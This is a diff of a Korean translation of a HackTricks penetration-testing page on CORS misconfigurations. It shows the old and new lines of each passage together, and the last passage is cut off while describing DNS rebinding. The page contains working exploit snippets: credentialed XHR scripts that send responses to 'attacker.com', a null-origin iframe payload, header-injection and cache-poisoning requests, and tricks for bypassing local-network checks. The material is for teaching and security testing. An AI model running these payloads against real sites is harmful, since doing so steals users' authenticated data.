- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## CORS가 무엇인가요?
|
||||
|
||||
Cross-Origin Resource Sharing (CORS) 표준은 **서버가 자산에 액세스할 수 있는 사용자**와 **외부 소스에서 허용된 HTTP 요청 방법을 정의**할 수 있도록 합니다.
|
||||
|
||||
**동일 출처 정책**은 **자원을 요청하는 서버**와 **자원을 호스팅하는 서버**가 동일한 프로토콜 (예: `http://`), 도메인 이름 (예: `internal-web.com`), 및 **포트** (예: 80)를 공유해야 한다는 원칙입니다. 이 정책에 따르면, 동일한 도메인 및 포트의 웹 페이지만이 자원에 액세스할 수 있습니다.
|
||||
**동일 출처** 정책은 **자원을 요청하는 서버**와 **자원을 호스팅하는 서버**가 동일한 프로토콜 (예: `http://`), 도메인 이름 (예: `internal-web.com`), 및 **포트** (예: 80)를 공유해야 한다는 원칙입니다. 이 정책에 따르면, 동일한 도메인 및 포트의 웹 페이지만이 자원에 액세스할 수 있습니다.
|
||||
|
||||
`http://normal-website.com/example/example.html`의 경우 동일 출처 정책의 적용은 다음과 같이 설명됩니다:
|
||||
|
||||
| 액세스된 URL | 액세스 허용 여부 |
|
||||
| --------------------------------------- | ----------------------------------- |
|
||||
| 액세스된 URL | 허용 여부 |
|
||||
| --------------------------------------- | --------------------------------- |
|
||||
| `http://normal-website.com/example/` | 예: 동일한 스키마, 도메인 및 포트 |
|
||||
| `http://normal-website.com/example2/` | 예: 동일한 스키마, 도메인 및 포트 |
|
||||
| `https://normal-website.com/example/` | 아니요: 다른 스키마 및 포트 |
|
||||
|
@ -31,13 +35,13 @@ Cross-Origin Resource Sharing (CORS) 표준은 **서버가 자산에 액세스
|
|||
| `http://www.normal-website.com/example/`| 아니요: 다른 도메인 |
|
||||
| `http://normal-website.com:8080/example/`| 아니요: 다른 포트\* |
|
||||
|
||||
\*인터넷 익스플로러는 동일 출처 정책에서 포트 번호를 무시하므로 이 액세스를 허용합니다.
|
||||
\*Internet Explorer는 동일 출처 정책에서 포트 번호를 무시하므로 이 액세스를 허용합니다.
|
||||
|
||||
### `Access-Control-Allow-Origin` 헤더
|
||||
|
||||
이 헤더는 **여러 출처**, **`null`** 값 또는 와일드카드 **`*`**를 허용할 수 있습니다. 그러나 **브라우저는 여러 출처를 지원하지 않으며**, 와일드카드 `*`의 사용은 **제한**을 받습니다. (와일드카드는 혼자 사용되어야 하며, `Access-Control-Allow-Credentials: true`와 함께 사용하는 것은 허용되지 않습니다.)
|
||||
이 헤더는 **여러 출처**, **`null`** 값 또는 와일드카드 **`*`**를 허용할 수 있습니다. 그러나 **브라우저는 여러 출처를 지원하지 않으며**, 와일드카드 `*`의 사용은 **제한**을 받습니다. (와일드카드는 단독으로 사용해야 하며, `Access-Control-Allow-Credentials: true`와 함께 사용할 수 없습니다.)
|
||||
|
||||
이 헤더는 웹사이트에서 시작된 교차 도메인 자원 요청에 대한 응답으로 **서버에 의해 발급**되며, 브라우저는 자동으로 `Origin` 헤더를 추가합니다.
|
||||
이 헤더는 웹사이트에서 시작된 교차 도메인 자원 요청에 대한 응답으로 **서버에 의해 발행**되며, 브라우저는 자동으로 `Origin` 헤더를 추가합니다.
|
||||
|
||||
### `Access-Control-Allow-Credentials` 헤더
|
||||
|
||||
|
@ -78,7 +82,7 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
|
||||
**교차 출처 자원 공유 (CORS)** 프로토콜은 이 사전 확인을 강제하여 요청된 교차 출처 작업의 실행 가능성을 결정하며 허용된 메소드, 헤더, 그리고 출처의 신뢰성을 확인합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해를 위해서는 [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)에서 제공하는 포괄적인 가이드를 참조하십시오.
|
||||
|
||||
**사전 요청의 부재는 응답이 인가 헤더를 포함해야 하는 요구 사항을 무효화하지 않음**을 주의해야 합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청으로부터의 응답을 처리하는 능력이 제한됩니다.
|
||||
**사전 요청의 부재는 응답이 인가 헤더를 포함해야 하는 요구 사항을 무효화하지 않는다는 점**을 주목해야 합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청으로부터의 응답을 처리하는 능력이 제한됩니다.
|
||||
|
||||
다음은 `PUT` 메소드와 `Special-Request-Header`라는 사용자 정의 헤더를 사용하기 위한 사전 요청의 예시를 고려해보십시오:
|
||||
```
|
||||
|
@ -103,7 +107,7 @@ Access-Control-Max-Age: 240
|
|||
* **`Access-Control-Expose-Headers`**: 이 헤더를 통해 서버는 간단한 응답 헤더 외에 응답의 일부로 노출될 수 있는 헤더에 대해 클라이언트에게 알립니다.
|
||||
* **`Access-Control-Max-Age`**: 이 헤더는 사전 플라이트 요청의 결과를 캐시할 수 있는 시간을 나타냅니다. 서버는 사전 플라이트 요청에 의해 반환된 정보가 재사용될 수 있는 최대 시간(초)을 설정합니다.
|
||||
* **`Access-Control-Request-Headers`**: 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용하려는 HTTP 헤더에 대해 서버에 알립니다.
|
||||
* **`Access-Control-Request-Method`**: 또한 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용할 HTTP 메서드를 나타내도록 설정됩니다.
|
||||
* **`Access-Control-Request-Method`**: 또한 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용할 HTTP 메소드를 나타내도록 설정됩니다.
|
||||
* **`Origin`**: 이 헤더는 브라우저에 의해 자동으로 설정되며, 교차 출처 요청의 출처를 나타냅니다. 서버는 CORS 정책에 따라 들어오는 요청을 허용할지 거부할지 판단하는 데 사용됩니다.
|
||||
|
||||
**참고로, 일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) **GET/POST 요청에서는 사전 플라이트 요청이 전송되지 않습니다** (요청이 **직접** 전송됨), 그러나 **응답의 헤더/본문에 액세스하려면** _Access-Control-Allow-Origin_ 헤더를 포함해야 합니다.\
|
||||
|
@ -111,8 +115,8 @@ Access-Control-Max-Age: 240
|
|||
|
||||
### **로컬 네트워크 요청 사전 플라이트 요청**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: 이 헤더는 클라이언트의 요청에 포함되어 있어서, 해당 조회가 로컬 네트워크 리소스를 대상으로 한 것임을 나타냅니다. 서버에게 요청이 로컬 네트워크에서 시작되었음을 알리는 표식 역할을 합니다.
|
||||
2. **`Access-Control-Allow-Local-Network`**: 응답에서, 서버는 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유할 수 있도록 허용된다는 것을 전달하기 위해 이 헤더를 활용합니다. 이는 서로 다른 네트워크 경계를 횡단하여 리소스를 공유할 수 있도록 하면서, 보안 프로토콜을 유지하면서 제어된 액세스를 보장합니다.
|
||||
1. **`Access-Control-Request-Local-Network`**: 이 헤더는 클라이언트의 요청에 포함되어 있어서 조회가 로컬 네트워크 리소스를 대상으로 한 것임을 나타냅니다. 서버에게 요청이 로컬 네트워크에서 시작되었음을 알리는 표식으로 작용합니다.
|
||||
2. **`Access-Control-Allow-Local-Network`**: 응답에서, 서버는 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유할 수 있도록 허용된다는 것을 전달하기 위해 이 헤더를 활용합니다. 이는 서로 다른 네트워크 경계를 횡단하여 리소스를 공유할 수 있도록 하면서 제어된 액세스를 보장하고 보안 프로토콜을 유지합니다.
|
||||
|
||||
**로컬 네트워크 요청을 허용하는 유효한 응답**은 응답에도 `Access-Controls-Allow-Local_network: true` 헤더를 포함해야 합니다:
|
||||
```
|
||||
|
@ -126,22 +130,22 @@ Content-Length: 0
|
|||
...
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
리눅스 **0.0.0.0** IP는 로컬호스트에 액세스하기 위한 요구 사항을 **우회**하는 데 사용됩니다. 이 IP 주소는 "로컬"로 간주되지 않기 때문입니다.
|
||||
리눅스 **0.0.0.0** IP를 사용하면 로컬호스트에 액세스하기 위한 요구 사항을 **우회**할 수 있다. 이 IP 주소는 "로컬"로 간주되지 않기 때문이다.
|
||||
|
||||
또한, 로컬 네트워크 요구 사항을 **우회**하는 것이 가능합니다. 이를 위해 로컬 엔드포인트(예: 라우터의 공개 IP)의 **공개 IP 주소**를 사용할 수 있습니다. 몇 가지 경우에는 **로컬 네트워크**에서 **공개 IP**에 액세스하더라도 액세스가 허용됩니다.
|
||||
또한, 로컬 네트워크 요구 사항을 **우회**하는 것이 가능하다. 이를 위해 로컬 엔드포인트의 **공용 IP 주소**(예: 라우터의 공용 IP)를 사용할 수 있다. 몇 가지 경우에는 **공용 IP**에 액세스하더라도, 그것이 **로컬 네트워크**에서 액세스되는 경우에는 액세스가 허용될 수 있다.
|
||||
{% endhint %}
|
||||
|
||||
## Exploitable misconfigurations
|
||||
|
||||
`Access-Control-Allow-Credentials`를 **`true`**로 설정하는 것이 대부분의 **실제 공격**에 필요한 사전 조건으로 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 보내고 응답을 읽을 수 있도록 허용하여 공격의 효과를 향상시킵니다. 이를 통해 브라우저에 요청을 보내는 것보다 사용자의 쿠키를 활용하는 이점이 줄어듭니다.
|
||||
`Access-Control-Allow-Credentials`를 **`true`**로 설정하는 것이 대부분의 **실제 공격**에 대한 선행 조건임이 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 보내고 응답을 읽을 수 있도록 허용하여 공격의 효과를 향상시킵니다. 이 설정이 없으면 브라우저에 요청을 보내는 것보다 사용자의 쿠키를 활용하는 이점이 줄어들어, 공격의 효과가 감소합니다.
|
||||
|
||||
### Exception: Exploiting Network Location as Authentication
|
||||
|
||||
피해자의 네트워크 위치가 인증 수단으로 작용하는 예외가 존재합니다. 이를 통해 피해자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하여 인트라넷 애플리케이션에 액세스할 수 있습니다. 이 방법은 DNS 리바인딩과 유사한 영향을 공유하지만 더 간단하게 악용할 수 있습니다.
|
||||
피해자의 네트워크 위치가 인증 수단으로 작용하는 예외가 존재합니다. 이를 통해 피해자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하여 인트라넷 애플리케이션에 액세스할 수 있습니다. 이 방법은 DNS 리바인딩과 유사한 영향을 가지지만 더 쉽게 악용할 수 있습니다.
|
||||
|
||||
### Reflection of `Origin` in `Access-Control-Allow-Origin`
|
||||
|
||||
`Origin` 헤더의 값이 `Access-Control-Allow-Origin`에 반영되는 실제 시나리오는 이 두 헤더를 결합하는 제한으로 인해 이론적으로 불가능합니다. 그러나 CORS를 여러 URL에 대해 활성화하려는 개발자는 `Origin` 헤더의 값을 복사하여 `Access-Control-Allow-Origin` 헤더를 동적으로 생성할 수 있습니다. 이 접근 방식은 취약점을 도입할 수 있으며, 특히 공격자가 유효성 검사 논리를 속이기 위해 합법적으로 보이도록 설계된 도메인을 사용할 때 그 취약점이 더해질 수 있습니다.
|
||||
`Origin` 헤더의 값이 `Access-Control-Allow-Origin`에 반영되는 실제 시나리오는, 이러한 헤더를 결합하는 제한 때문에 이론적으로 불가능합니다. 그러나, 여러 URL에 대해 CORS를 활성화하려는 개발자들은 `Origin` 헤더의 값을 복사하여 `Access-Control-Allow-Origin` 헤더를 동적으로 생성할 수 있습니다. 이 접근 방식은 취약점을 도입할 수 있으며, 특히 공격자가 유효성 검사 논리를 속이기 위해 합법적으로 보이도록 설계된 도메인을 사용하는 경우에는 더욱 위험할 수 있습니다.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -154,9 +158,9 @@ location='/log?key='+this.responseText;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
### `null` Origin 악용
|
||||
### `null` 오리진 악용
|
||||
|
||||
`null` 원점은 리디렉션 또는 로컬 HTML 파일과 같은 상황을 위해 지정된 원점으로, 독특한 위치를 가지고 있습니다. 일부 애플리케이션은 이 원점을 화이트리스트에 추가하여 로컬 개발을 용이하게 하는데, 이로 인해 샌드박스된 iframe을 통해 웹 사이트가 `null` 원점을 모방하여 CORS 제한을 우회할 수 있습니다.
|
||||
`null` 오리진은 리디렉션이나 로컬 HTML 파일과 같은 상황을 위해 지정된 곳으로, 독특한 위치를 차지합니다. 일부 애플리케이션은 로컬 개발을 용이하게 하기 위해 이 오리진을 화이트리스트에 추가하는데, 이로 인해 샌드박스된 iframe을 통해 아무 웹사이트나 `null` 오리진을 흉내내어 CORS 제한을 우회할 수 있습니다.
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -190,13 +194,15 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
|
||||
정규식 패턴은 일반적으로 알파벳, 점(.), 하이픈(-) 문자에 집중하며 다른 가능성을 간과합니다. 예를 들어, 브라우저와 정규식 패턴에서 다르게 해석되는 문자를 포함한 도메인 이름은 보안 검사를 우회할 수 있습니다. Safari, Chrome 및 Firefox가 서브도메인의 밑줄 문자를 처리하는 방식은 이러한 차이가 도메인 유효성 검사 논리를 우회하는 데 어떻게 악용될 수 있는지 보여줍니다.
|
||||
|
||||
**이 우회 검사의 자세한 정보 및 설정에 대한 자세한 내용은:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **및** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
**이 우회 검사에 대한 자세한 정보 및 설정:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **및** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)
|
||||
|
||||
### 서브도메인 내부 XSS에서
|
||||
### 서브도메인 내 XSS로부터
|
||||
|
||||
개발자들은 종종 CORS 악용에 대비하기 위해 방어 메커니즘을 구현하여 정보 요청이 허용된 도메인을 화이트리스트에 등록합니다. 그러나 이러한 예방 조치에도 불구하고 시스템의 보안은 완벽하지 않을 수 있습니다. 화이트리스트에 있는 도메인 중 취약한 서브도메인 하나라도 존재하면 다른 취약점을 통해 CORS 악용의 문을 열 수 있습니다. 예를 들어, `requester.com` 도메인이 `provider.com` 도메인에서 리소스에 액세스할 수 있도록 화이트리스트에 등록되어 있는 시나리오를 고려해보겠습니다. 서버 측 구성은 다음과 같을 수 있습니다:
|
||||
개발자들은 종종 CORS 악용에 대비하기 위해 방어 메커니즘을 구현하여 정보 요청이 허용된 도메인을 화이트리스트에 등록합니다. 그러나 이러한 예방 조치에도 불구하고 시스템의 보안은 완벽하지 않습니다. 화이트리스트에 있는 도메인 중 취약한 서브도메인 하나라도 존재하면 XSS(Cross-Site Scripting)와 같은 다른 취약점을 통해 CORS 악용의 문을 열 수 있습니다.
|
||||
|
||||
예를 들어, `requester.com` 도메인이 `provider.com` 도메인에서 리소스에 액세스할 수 있도록 화이트리스트에 등록되어 있다고 가정해보겠습니다. 서버 측 구성은 다음과 같을 수 있습니다:
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -204,13 +210,13 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
|||
// Unauthorized access
|
||||
}
|
||||
```
|
||||
이 설정에서 `requester.com`의 모든 하위 도메인이 액세스를 허용받습니다. 그러나, 예를 들어 `sub.requester.com`와 같은 하위 도메인이 XSS 취약점으로 침해당하면, 공격자는 이 취약점을 활용할 수 있습니다. 예를 들어, `sub.requester.com`에 액세스 권한이 있는 공격자는 XSS 취약점을 악용하여 CORS 정책을 우회하고 `provider.com`의 리소스에 악의적으로 액세스할 수 있습니다.
|
||||
이 설정에서 `requester.com`의 모든 하위 도메인이 액세스를 허용합니다. 그러나 `sub.requester.com`과 같은 하위 도메인이 XSS 취약점으로 침투당하면 공격자가 이 취약점을 악용할 수 있습니다. 예를 들어, `sub.requester.com`에 액세스 권한이 있는 공격자는 XSS 취약점을 이용하여 CORS 정책을 우회하고 `provider.com`의 리소스에 악의적으로 액세스할 수 있습니다.
|
||||
|
||||
### **서버 측 캐시 독려**
|
||||
|
||||
[**이 연구에서**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
HTTP 헤더 삽입을 통해 서버 측 캐시 독려를 악용함으로써, 저장된 Cross-Site Scripting (XSS) 취약점이 유발될 수 있습니다. 이 시나리오는 응용 프로그램이 `Origin` 헤더를 비법 문자로 살균하지 않을 때 발생하며, 특히 Internet Explorer 및 Edge 사용자에게 취약점을 만들어냅니다. 이 브라우저들은 (0x0d)를 합법적인 HTTP 헤더 종결자로 취급하여 HTTP 헤더 삽입 취약점을 유발시킵니다.
|
||||
HTTP 헤더 삽입을 통해 서버 측 캐시 독려를 악용함으로써 저장된 Cross-Site Scripting (XSS) 취약점을 유발할 수 있습니다. 이 시나리오는 응용 프로그램이 `Origin` 헤더를 비법 문자로 살균하지 않아 Internet Explorer 및 Edge 사용자에게 특히 취약성을 만드는 경우 발생합니다. 이러한 브라우저는 (0x0d)을 합법적인 HTTP 헤더 종결자로 취급하여 HTTP 헤더 삽입 취약점을 유발합니다.
|
||||
|
||||
다음과 같이 `Origin` 헤더가 조작된 요청을 고려해보십시오:
|
||||
```
|
||||
|
@ -223,23 +229,23 @@ HTTP/1.1 200 OK
|
|||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
직접적으로 취약점을 악용하여 웹 브라우저가 잘못된 헤더를 보내도록 하는 것은 불가능하지만, Burp Suite와 같은 도구를 사용하여 수동으로 생성된 조작된 요청은 서버 측 캐시가 응답을 저장하고 다른 사람에게 무심코 제공될 수 있습니다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하며, 이는 특정 상황에서 스크립트로 실행될 수 있는 방식으로 문자를 인코딩할 수 있는 능력으로 인해 XSS 취약점과 자주 관련이 있습니다.
|
||||
직접적으로 취약점을 악용하여 웹 브라우저가 잘못된 헤더를 보내도록 하는 것은 불가능하지만, Burp Suite와 같은 도구를 사용하여 수동으로 생성된 조작된 요청은 서버 측 캐시가 응답을 저장하고 우연히 다른 사람에게 제공될 수 있습니다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하며, 이는 특정 상황에서 스크립트로 실행될 수 있는 문자를 인코딩할 수 있는 능력으로 인해 XSS 취약점과 자주 관련이 있습니다.
|
||||
|
||||
저장된 XSS 취약점에 대한 자세한 내용은 [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)를 참조하십시오.
|
||||
|
||||
**참고**: HTTP 헤더 삽입 취약점의 악용, 특히 서버 측 캐시 오염을 통해 사용자가 제공한 모든 입력(포함된 HTTP 헤더)을 확인하고 살균하는 것의 중요성을 강조합니다. 이러한 취약점을 방지하기 위해 입력 유효성을 검증하는 견고한 보안 모델을 항상 사용하십시오.
|
||||
**참고**: HTTP 헤더 삽입 취약점의 악용, 특히 서버 측 캐시 오염을 통해 사용자가 제공한 모든 입력(포함된 HTTP 헤더)을 유효성 검사하고 살균하는 것의 중요성을 강조합니다. 이러한 취약점을 방지하기 위해 입력 유효성 검사를 포함한 견고한 보안 모델을 항상 사용하십시오.
|
||||
|
||||
### **클라이언트 측 캐시 오염**
|
||||
|
||||
[**이 연구에서**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
이 시나리오에서는 적절한 인코딩 없이 사용자 지정 HTTP 헤더의 내용을 반영하는 웹 페이지의 인스턴스가 관찰됩니다. 구체적으로, 웹 페이지는 `X-User-id` 헤더에 포함된 내용을 다시 반영하며, 이는 로드 시 JavaScript 코드를 실행하도록 설계된 SVG 이미지 태그를 포함하는 예제에 의해 악의적인 JavaScript를 포함할 수 있습니다.
|
||||
이 시나리오에서는 적절한 인코딩 없이 사용자 지정 HTTP 헤더의 내용을 반영하는 웹 페이지의 인스턴스가 관찰됩니다. 구체적으로, 웹 페이지는 `X-User-id` 헤더에 포함된 내용을 다시 반영하며, 이는 로드 시에 JavaScript 코드를 실행하도록 설계된 SVG 이미지 태그를 포함하는 예제에 의해 악의적인 JavaScript를 포함할 수 있습니다.
|
||||
|
||||
Cross-Origin Resource Sharing (CORS) 정책은 사용자 지정 헤더를 보낼 수 있도록 합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 직접 렌더링되지 않는 경우, 이러한 삽입의 유틸리티는 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. `Vary: Origin` 헤더가 지정되지 않으면 악의적인 응답이 브라우저에 의해 캐시될 수 있습니다. 결과적으로 이 캐시된 응답은 URL로 이동할 때 직접 렌더링되어 초기 요청 시 직접 렌더링이 필요하지 않게 됩니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 향상시킵니다.
|
||||
Cross-Origin Resource Sharing (CORS) 정책은 사용자 지정 헤더를 보낼 수 있도록 합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 직접 렌더링되지 않는 경우, 이러한 삽입의 유틸리티는 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. `Vary: Origin` 헤더가 지정되지 않으면 악의적인 응답이 브라우저에 의해 캐시될 수 있습니다. 이후 이 캐시된 응답은 URL로 이동할 때 직접 렌더링되어 초기 요청 시 직접 렌더링이 필요하지 않게 됩니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 향상시킵니다.
|
||||
|
||||
이 공격을 설명하기 위해 JavaScript 예제가 제공되었으며, 이는 JSFiddle을 통해 웹 페이지 환경에서 실행되도록 설계되었습니다. 이 스크립트는 간단한 작업을 수행합니다: 악의적인 JavaScript를 포함하는 사용자 지정 헤더가 포함된 지정된 URL로 요청을 보냅니다. 성공적인 요청 완료 후, 대상 URL로 이동을 시도하며, 응답이 `Vary: Origin` 헤더를 올바르게 처리하지 않고 캐시된 경우 삽입된 스크립트의 실행을 유도할 수 있습니다.
|
||||
이 공격을 설명하기 위해 JavaScript 예제가 제공되었으며, 이는 JSFiddle을 통해 웹 페이지 환경에서 실행되도록 설계되었습니다. 이 스크립트는 간단한 작업을 수행합니다: 악의적인 JavaScript를 포함하는 사용자 지정 헤더가 포함된 URL로 요청을 보냅니다. 성공적인 요청 완료 후, 대상 URL로 이동을 시도하여 `Vary: Origin` 헤더를 올바르게 처리하지 않고 응답이 캐시된 경우 주입된 스크립트의 실행을 유도할 수 있습니다.
|
||||
|
||||
다음은 이 공격을 실행하는 데 사용된 JavaScript의 요약된 분석입니다:
|
||||
다음은 이 공격을 실행하는 데 사용된 JavaScript의 요약된 분해입니다:
|
||||
```html
|
||||
<script>
|
||||
function gotcha() { location=url }
|
||||
|
@ -255,28 +261,28 @@ req.send();
|
|||
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
XSSI, Cross-Site Script Inclusion으로도 알려진 것은 스크립트 태그를 사용하여 리소스를 포함할 때 동일 출처 정책(SOP)이 적용되지 않는 취약성 유형입니다. 이는 스크립트가 다른 도메인에서 포함될 수 있어야 하기 때문입니다. 이 취약성을 통해 공격자는 스크립트 태그를 사용하여 포함된 모든 콘텐츠에 액세스하고 읽을 수 있습니다.
|
||||
XSSI, 또는 Cross-Site Script Inclusion으로도 알려진 취약점은 script 태그를 사용하여 리소스를 포함할 때 동일 출처 정책(SOP)이 적용되지 않는 사실을 악용하는 유형의 취약점입니다. 이는 스크립트가 다른 도메인에서 포함될 수 있어야 하기 때문입니다. 이 취약점을 통해 공격자는 script 태그를 사용하여 포함된 모든 콘텐츠에 액세스하고 읽을 수 있습니다.
|
||||
|
||||
이 취약성은 특히 동적 JavaScript 또는 JSONP(JSON with Padding)에서 중요해지며, 특히 쿠키와 같은 환경 권한 정보가 인증에 사용될 때입니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자에게 액세스 가능해집니다.
|
||||
이 취약점은 특히 동적 JavaScript 또는 JSONP (Padding이 있는 JSON)와 같은 환경 권한 정보(예: 쿠키)가 인증에 사용될 때 특히 중요해집니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자에게 액세스 가능해집니다.
|
||||
|
||||
이 취약성을 더 잘 이해하고 완화하기 위해 [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)에서 사용할 수 있는 BurpSuite 플러그인을 사용할 수 있습니다. 이 플러그인은 웹 애플리케이션에서 XSSI 취약성을 식별하고 해결하는 데 도움이 될 수 있습니다.
|
||||
이 취약점을 더 잘 이해하고 완화하기 위해 [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)에서 사용할 수 있는 BurpSuite 플러그인을 사용할 수 있습니다. 이 플러그인은 웹 애플리케이션에서 XSSI 취약점을 식별하고 해결하는 데 도움이 될 수 있습니다.
|
||||
|
||||
[**여기에서 다양한 유형의 XSSI 및 그들을 어떻게 악용하는지 자세히 알아보세요.**](xssi-cross-site-script-inclusion.md)
|
||||
[**다양한 유형의 XSSI 및 그들을 어떻게 악용하는지에 대해 자세히 알아보세요.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
요청에 **`callback`** **매개변수**를 추가해 보세요. 페이지가 데이터를 JSONP로 보내도록 준비되어 있을 수 있습니다. 이 경우 페이지는 `Content-Type: application/javascript`로 데이터를 다시 보내 CORS 정책을 우회할 것입니다.
|
||||
|
||||
![](<../.gitbook/assets/image (229).png>)
|
||||
![](<../.gitbook/assets/image (853).png>)
|
||||
|
||||
### 쉬운 (의미 없는?) 우회
|
||||
|
||||
`Access-Control-Allow-Origin` 제한을 우회하는 한 가지 방법은 웹 애플리케이션에 요청하여 대신 요청하고 응답을 보내도록 하는 것입니다. 그러나 이 시나리오에서 최종 피해자의 자격 증명은 다른 도메인으로 요청이 이루어지기 때문에 전송되지 않습니다.
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): 이 도구는 요청과 해당 헤더를 전달하는 프록시를 제공하며, Origin 헤더를 요청된 도메인과 일치하도록 위조합니다. 이는 CORS 정책을 효과적으로 우회합니다. XMLHttpRequest와 함께 사용하는 예시는 다음과 같습니다:
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): 이 도구는 요청과 해당 헤더를 전달하는 프록시를 제공하며 Origin 헤더를 요청된 도메인과 일치하도록 위조합니다. 이를 통해 CORS 정책을 우회할 수 있습니다. XMLHttpRequest를 사용한 예시는 다음과 같습니다:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): 이 도구는 요청을 그대로 전달하는 대신 서버가 지정된 매개변수로 자체 요청을 수행하는 대체 접근 방식을 제공합니다.
|
||||
|
||||
### Iframe + 팝업 우회
|
||||
|
||||
`e.origin === window.origin`과 같은 CORS 확인을 우회하기 위해 **iframe을 생성**하고 **새 창을 열어** 우회할 수 있습니다. 자세한 내용은 다음 페이지에서 확인할 수 있습니다:
|
||||
`e.origin === window.origin`과 같은 CORS 확인을 우회하기 위해 **iframe를 생성**하고 **새 창을 열어** 우회할 수 있습니다. 자세한 내용은 다음 페이지에서 확인할 수 있습니다:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -286,71 +292,71 @@ XSSI, Cross-Site Script Inclusion으로도 알려진 것은 스크립트 태그
|
|||
|
||||
TTL을 통한 DNS 리바인딩은 DNS 레코드를 조작하여 특정 보안 조치를 우회하는 기술입니다. 작동 방식은 다음과 같습니다:
|
||||
|
||||
1. 공격자가 웹 페이지를 생성하고 피해자가 액세스하도록 합니다.
|
||||
2. 공격자는 자신의 도메인의 DNS(IP)를 피해자의 웹 페이지를 가리키도록 변경합니다.
|
||||
1. 공격자가 웹 페이지를 만들고 피해자가 액세스하도록 합니다.
|
||||
2. 공격자는 자신의 도메인의 DNS(IP)을 피해자의 웹 페이지를 가리키도록 변경합니다.
|
||||
3. 피해자의 브라우저는 DNS 응답을 캐시하며, DNS 레코드가 유효한 기간을 나타내는 TTL(Time to Live) 값을 가질 수 있습니다.
|
||||
4. TTL이 만료되면 피해자의 브라우저가 새 DNS 요청을 수행하며, 공격자는 피해자의 페이지에서 JavaScript 코드를 실행할 수 있습니다.
|
||||
